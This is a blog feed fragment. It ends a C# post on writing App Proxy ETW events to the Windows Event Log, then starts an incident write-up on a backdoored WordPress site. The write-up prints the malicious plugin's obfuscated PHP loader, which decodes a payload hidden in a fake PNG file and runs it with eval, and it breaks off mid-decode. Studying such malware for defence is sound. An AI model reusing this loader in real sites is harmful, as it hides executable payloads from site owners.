                &lt;span class=&quot;nf&quot;&gt;WriteToEventLog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventSourceName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventLogName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entryType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eventId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;formated_message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;traceEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ID&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TraceEventID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventId3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$&quot;Event &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventId3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; received at: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;traceEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TimeStamp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;EventLogEntryType&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entryType&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventLogEntryType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Information&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eventId&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;traceEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_message&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;$&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;traceEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;formated_message&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;amp;lt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Microsoft AAD Application Proxy Connector received a response from backend.&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Environment&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;formated_message&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;formated_message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;nf&quot;&gt;WriteToEventLog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventSourceName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventLogName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entryType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eventId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;formated_message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


        &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;EnsureEventSource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventLog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;SourceExists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;EventLog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CreateEventSource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;WriteToEventLog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventLogEntryType&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entryType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eventId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventLog&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eventLog&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;EventLog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;eventLog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Source&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;eventLog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteEntry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entryType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eventId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Implementation notes:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Create the event source once at startup, not inside the event handler.&lt;/li&gt;
  &lt;li&gt;Keep the event handler synchronous to avoid dropped exceptions from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;async void&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;windows-service&quot;&gt;Windows Service&lt;/h1&gt;

&lt;p&gt;Converting the code above to a Windows Service is relatively straightforward. I’d recommend you use this Microsoft article:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/framework/windows-services/walkthrough-creating-a-windows-service-application-in-the-component-designer&quot;&gt;https://learn.microsoft.com/en-us/dotnet/framework/windows-services/walkthrough-creating-a-windows-service-application-in-the-component-designer&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Follow the tutorial and replace the code section in the article with the code above and you’ll have a solution that can be tweaked and deployed on the app proxies; installed as a windows service that’ll survive reboots etc.&lt;/p&gt;

&lt;p&gt;In case it helps here’s a full basic example with the App Proxy code above in it:
&lt;a href=&quot;https://github.com/chadduffey/etw-to-evtx/blob/main/AppProxy-ETW-to-EVTX/AppProxyLogConverter.cs&quot;&gt;https://github.com/chadduffey/etw-to-evtx/blob/main/AppProxy-ETW-to-EVTX/AppProxyLogConverter.cs&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Thanks!&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/&quot;&gt;Install the Windows debugger&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/getting-started-with-windbg&quot;&gt;Get started with WinDbg user mode&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-a-user-mode-process-using-windbg&quot;&gt;Debugging a user-mode process using WinDbg&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Fri, 01 Sep 2023 14:34:25 +0000</pubDate>
        <link>https://chadduffey.com/windows/2023/09/01/ETLtoEVTX.html</link>
        <guid isPermaLink="true">https://chadduffey.com/windows/2023/09/01/ETLtoEVTX.html</guid>
        
        <category>featured</category>
        
        
        <category>windows</category>
        
      </item>
    
      <item>
        <title>WordPress Backdoor</title>
        <description>&lt;p&gt;This post documents a suspected WordPress backdoor investigation. It is split into two useful tracks: the operational lessons from finding and cleaning up a compromised site, and a technical analysis of the malicious PHP so the indicators and tradecraft can be understood.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This appears to be “Smilodon” malware. Example post: &lt;a href=&quot;https://blog.sucuri.net/2022/06/smilodon-credit-card-skimming-malware-shifts-to-wordpress.html&quot;&gt;https://blog.sucuri.net/2022/06/smilodon-credit-card-skimming-malware-shifts-to-wordpress.html&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h1 id=&quot;part-1-how-did-this-happen&quot;&gt;Part 1: How did this happen?&lt;/h1&gt;

&lt;p&gt;I’m an information security professional and honestly, I find it embarrassing that my site had been backdoored. I don’t make any excuses for it, but I wanted to add a small section here for context.&lt;/p&gt;

&lt;p&gt;I’ve had blog sites for as long as I can remember. I’ve also blogged for almost every company I worked at. I don’t consider myself to be a good writer by any stretch, but I find that blogging makes me take a higher level of care to check whether I really understand the things I am working on. Honestly, I’m scared of being wrong so knowing that there is a chance someone will read my content forces me to consider whether I have taken the time to understand the concepts well enough.&lt;/p&gt;

&lt;p&gt;Recently some friends and family floated the idea that I move my content to a more professional setting. Create a company name, buy a logo and put up a site that would look more like a trusted professional (or group of professionals) owned it rather than someone who quickly jots down notes on their very basic site. I got wrapped up in the idea and tried to move quickly so it didn’t die on the vine.&lt;/p&gt;

&lt;p&gt;Unlike the site that was “hacked”, the site you are reading this post on uses Jekyll and is published as static html. I’m not going to say ‘unhackable’ but the bar for shenanigans is high. The tradeoff is that I write in markup and maintain a Github/Azure DevOps pipeline that converts the markup and template code into somewhat respectable HTML.&lt;/p&gt;

&lt;p&gt;I reluctantly accepted that the new site would need to be WordPress. All the beautiful looking, easy to update sites seem to be WordPress now. Even the security companies I really admire seem to have drifted over to the dark side.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake(?) 1 -&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I hired someone from fiverr.com to build the site.&lt;/p&gt;

&lt;p&gt;I say mistake with a question mark because I don’t mean to put any blame on fiverr and also the real mistakes are number 2 &amp;amp; 3 below. Outsourcing is an economical way to do this work, and the fiverr platform is great. I even used a supplier who was top rated and recommended/promoted by the platform. I paid more for it of course, but the tradeoff seemed right.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 2 -&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;My threat modelling training &amp;amp; experience really took a backseat because I wasn’t too concerned about the security of the site. I just wanted it to be somewhere I could write things and they would be presented in a way that appealed to readers. I didn’t plan to process payments or bookings or store information from visitors, and my concern for supply chain issues was lowered by the caliber of WordPress professional I’d hired.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 3 -&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I didn’t think to scan the site before going live except for a basic wpscan from a kali machine. In fact, I barely looked at anything but the “Posts” and “Documents” sections figuring if I needed more advanced help, I would reach out to the WordPress professional id hired. I applied less than 1% of the care I would apply at work or even if I was just helping a friend.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Was it an accident?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I don’t know to this day if the person I was working with had knowledge of the backdoor. My gut feeling is that they did not. They seemed kind, helpful and responsive during the site build process. I still consider them to be all three of those things. I reached out to let them know about the malware giving them the opportunity to check that they hadn’t accidentally deploying it to other customers/sites. Even if it turns out I am being naive, I’m not unlike other information security professionals in that I was much more interested in being Dade Murphy than (a non-criminal) Eugene Belford when I was learning this stuff as a kid. If the malware was intentional, I hope the discovery was enough of a scare to get them over to the good side to help the rest of us.&lt;/p&gt;

&lt;h1 id=&quot;discovery&quot;&gt;Discovery&lt;/h1&gt;

&lt;p&gt;After the site had been up for about two weeks and I had populated it with a reasonable amount of content I started to think a little more about security. I still wasn’t worried, but I had that lingering thought of “you’re a security professional, you should probably make sure nothing stands out as very bad here”. I poked around a few of the add-ins, did some updates, and ran a scan on &lt;a href=&quot;https://www.hardenize.com/&quot;&gt;hardenize&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Good Choice 1&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;I decided I owed it to myself to automate at least the basic security checks and settled on &lt;a href=&quot;https://www.wordfence.com/&quot;&gt;wordfence&lt;/a&gt;. Wordfence also installed a WAF, made MFA much easier and allowed me to manage the firewall from the wp-admin console so it ticked quite a few boxes that I previously hadn’t even cared to think about ticking.&lt;/p&gt;

&lt;p&gt;Among many less significant (but still much appreciated) findings, the initial scan result email alerted me to a critical issue:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/wordfence-email.png&quot; alt=&quot;wordfence output&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;part-2-the-malware&quot;&gt;Part 2: The Malware&lt;/h1&gt;

&lt;p&gt;Wordfence allowed me to quickly view the file from the wp-admin console and called out that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;include&lt;/code&gt; in the php file was the main concern.&lt;/p&gt;

&lt;p&gt;The file looked like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;?php

/**
 * Plugin Name: Ecuvene
 * Plugin URI: https://a.cult.biz/ecuvene
 * Description: Artificial human countries, such
 * Version: 3.3.15
 * Author: Orlando Louis
 * Author URI: https://a.cult.biz
 * Text Domain: ecuvene
 * License: GPL2+
 *
 */

function ihuxup_khachegype() {
    hucyce_fojezafizh();
}

$ashuwic = __DIR__ . &apos;/vihisog.txt&apos;;
if (file_exists($ashuwic)) {
    include($ashuwic);
}

if (function_exists(&quot;hucyce_fojezafizh&quot;)) {
    $etiwuro = new dyjeny_elyzhuchoju();
    if ($etiwuro-&amp;gt;vemojo_opitiqazh()) {
        add_action(&apos;init&apos;, &apos;ihuxup_khachegype&apos;);
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you look at the line &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if (function_exists(&quot;hucyce_fojezafizh&quot;))&lt;/code&gt; you’d be forgiven for thinking well, the function &lt;em&gt;doesn’t&lt;/em&gt; exist, despite being called by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ihuxup_khachegype()&lt;/code&gt; function so not much at all is happening here. But given the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;include($ashuwic);&lt;/code&gt; pointing to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;/vihisog.txt&apos;&lt;/code&gt; we might have ourselves a bit of a red flag.&lt;/p&gt;

&lt;p&gt;Sure enough, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vihisog.txt&lt;/code&gt; exists, and contains the following:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;?php

function icysut_qymypozuc($sovama_gadoseqam) {
    $dukygod = strtr($sovama_gadoseqam, array(&apos;R&apos;=&amp;gt;&apos;Q&apos;, &apos;I&apos;=&amp;gt;&apos;W&apos;, &apos;F&apos;=&amp;gt;&apos;E&apos;, &apos;J&apos;=&amp;gt;&apos;R&apos;, &apos;w&apos;=&amp;gt;&apos;T&apos;, &apos;V&apos;=&amp;gt;&apos;Y&apos;, &apos;K&apos;=&amp;gt;&apos;U&apos;, &apos;y&apos;=&amp;gt;&apos;I&apos;, &apos;Q&apos;=&amp;gt;&apos;O&apos;, &apos;b&apos;=&amp;gt;&apos;P&apos;,
        &apos;W&apos;=&amp;gt;&apos;A&apos;, &apos;S&apos;=&amp;gt;&apos;S&apos;, &apos;q&apos;=&amp;gt;&apos;D&apos;, &apos;X&apos;=&amp;gt;&apos;F&apos;, &apos;H&apos;=&amp;gt;&apos;G&apos;, &apos;p&apos;=&amp;gt;&apos;H&apos;, &apos;o&apos;=&amp;gt;&apos;J&apos;, &apos;t&apos;=&amp;gt;&apos;K&apos;, &apos;U&apos;=&amp;gt;&apos;L&apos;, &apos;E&apos;=&amp;gt;&apos;Z&apos;,
        &apos;A&apos;=&amp;gt;&apos;X&apos;, &apos;s&apos;=&amp;gt;&apos;C&apos;, &apos;i&apos;=&amp;gt;&apos;V&apos;, &apos;l&apos;=&amp;gt;&apos;B&apos;, &apos;8&apos;=&amp;gt;&apos;N&apos;, &apos;h&apos;=&amp;gt;&apos;M&apos;, &apos;k&apos;=&amp;gt;&apos;q&apos;, &apos;Z&apos;=&amp;gt;&apos;w&apos;, &apos;r&apos;=&amp;gt;&apos;e&apos;, &apos;L&apos;=&amp;gt;&apos;r&apos;,
        &apos;D&apos;=&amp;gt;&apos;t&apos;, &apos;O&apos;=&amp;gt;&apos;y&apos;, &apos;7&apos;=&amp;gt;&apos;u&apos;, &apos;4&apos;=&amp;gt;&apos;i&apos;, &apos;v&apos;=&amp;gt;&apos;o&apos;, &apos;e&apos;=&amp;gt;&apos;p&apos;, &apos;m&apos;=&amp;gt;&apos;a&apos;, &apos;+&apos;=&amp;gt;&apos;s&apos;, &apos;d&apos;=&amp;gt;&apos;d&apos;, &apos;z&apos;=&amp;gt;&apos;f&apos;,
        &apos;C&apos;=&amp;gt;&apos;g&apos;, &apos;3&apos;=&amp;gt;&apos;h&apos;, &apos;N&apos;=&amp;gt;&apos;j&apos;, &apos;Y&apos;=&amp;gt;&apos;k&apos;, &apos;j&apos;=&amp;gt;&apos;l&apos;, &apos;1&apos;=&amp;gt;&apos;z&apos;, &apos;9&apos;=&amp;gt;&apos;x&apos;, &apos;/&apos;=&amp;gt;&apos;c&apos;, &apos;G&apos;=&amp;gt;&apos;v&apos;, &apos;a&apos;=&amp;gt;&apos;b&apos;,
        &apos;n&apos;=&amp;gt;&apos;n&apos;, &apos;M&apos;=&amp;gt;&apos;m&apos;, &apos;T&apos;=&amp;gt;&apos;1&apos;, &apos;g&apos;=&amp;gt;&apos;2&apos;, &apos;2&apos;=&amp;gt;&apos;3&apos;, &apos;f&apos;=&amp;gt;&apos;4&apos;, &apos;6&apos;=&amp;gt;&apos;5&apos;, &apos;u&apos;=&amp;gt;&apos;6&apos;, &apos;=&apos;=&amp;gt;&apos;7&apos;, &apos;5&apos;=&amp;gt;&apos;8&apos;,
        &apos;B&apos;=&amp;gt;&apos;9&apos;, &apos;x&apos;=&amp;gt;&apos;0&apos;, &apos;P&apos;=&amp;gt;&apos;=&apos;, &apos;c&apos;=&amp;gt;&apos;+&apos;, &apos;0&apos;=&amp;gt;&apos;/&apos;));
    $dukygod = base64_decode($dukygod);

    return $dukygod;
}

function eryroq_eshuvynuq($sovama_gadoseqam) {
    if (!file_exists($sovama_gadoseqam))
        return false;
    $uloqaj = @file_get_contents($sovama_gadoseqam);
    if (!$uloqaj)
        return false;
    $uloqaj = substr($uloqaj, 3);
    $okytiqi = icysut_qymypozuc($uloqaj);
    return $okytiqi;
}

$etiwuro = __DIR__ . &apos;/assets/article_images/images/anuhav.png&apos;;

if (file_exists($etiwuro)) {
    $oqashik = eryroq_eshuvynuq($etiwuro);
    if ($oqashik) {
        @eval($oqashik);
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With all the obfuscation here (and the obfuscation in the php file) I’m starting to get a sinking feeling. Not to mention the fact that even with the code slightly obfuscated we can see that we are reading a png file like it was text with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file_get_contents&lt;/code&gt; (the file being &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/assets/article_images/images/anuhav.png&lt;/code&gt;). I can’t think of any non-malware reasons to do that.&lt;/p&gt;

&lt;p&gt;Before going too much further it might be useful to have the full listing of files in the package:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PS C:\Users\Chad\Downloads\ecuvene\ecuvene&amp;gt; tree /f
Folder PATH listing
Volume serial number is 72A3-AE45
C:.
|   ecuvene.php
|   index.html
|   vihisog.txt
|
\---assets
    |   index.html
    |
    +---images
    |       anuhav.png
    |       ikajosh.gif
    |       index.html
    |       obuxuc.gif
    |       yrukixu.png
    |
    \---js
            boveju.js
            index.html
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;My good friend and colleague &lt;a href=&quot;https://twitter.com/lnxgod&quot;&gt;Will&lt;/a&gt; suggested that we carefully let the code do the deobfuscation for us.&lt;/p&gt;

&lt;p&gt;I modified some of the vihisog.txt file and saved it as php allowing me to deobfuscate the fake png and gif files:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if (file_exists($etiwuro)) {
    $oqashik = eryroq_eshuvynuq($etiwuro);
    echo $oqashik;
    #if ($oqashik) {
    #    @eval($oqashik);
    #}
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here’s an example of the actual PNG file content:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/png.png&quot; alt=&quot;png example&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And here after decoding using the decoding functions in the code:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/example-decode.png&quot; alt=&quot;example decode&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The output of the first file is:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;class dyjeny_elyzhuchoju {

    var $uburad = &apos;yrukixu.png&apos;;
    var $lynosha = &apos;ikajosh.gif&apos;;
    public $eqiguso = &apos;boveju.js&apos;;
    public $dabire_qychysho = false;
    public $inijek_imanevet = false;
    public $ygicaz_heshivet = false;
    var $mojati_ibotivykh = null;
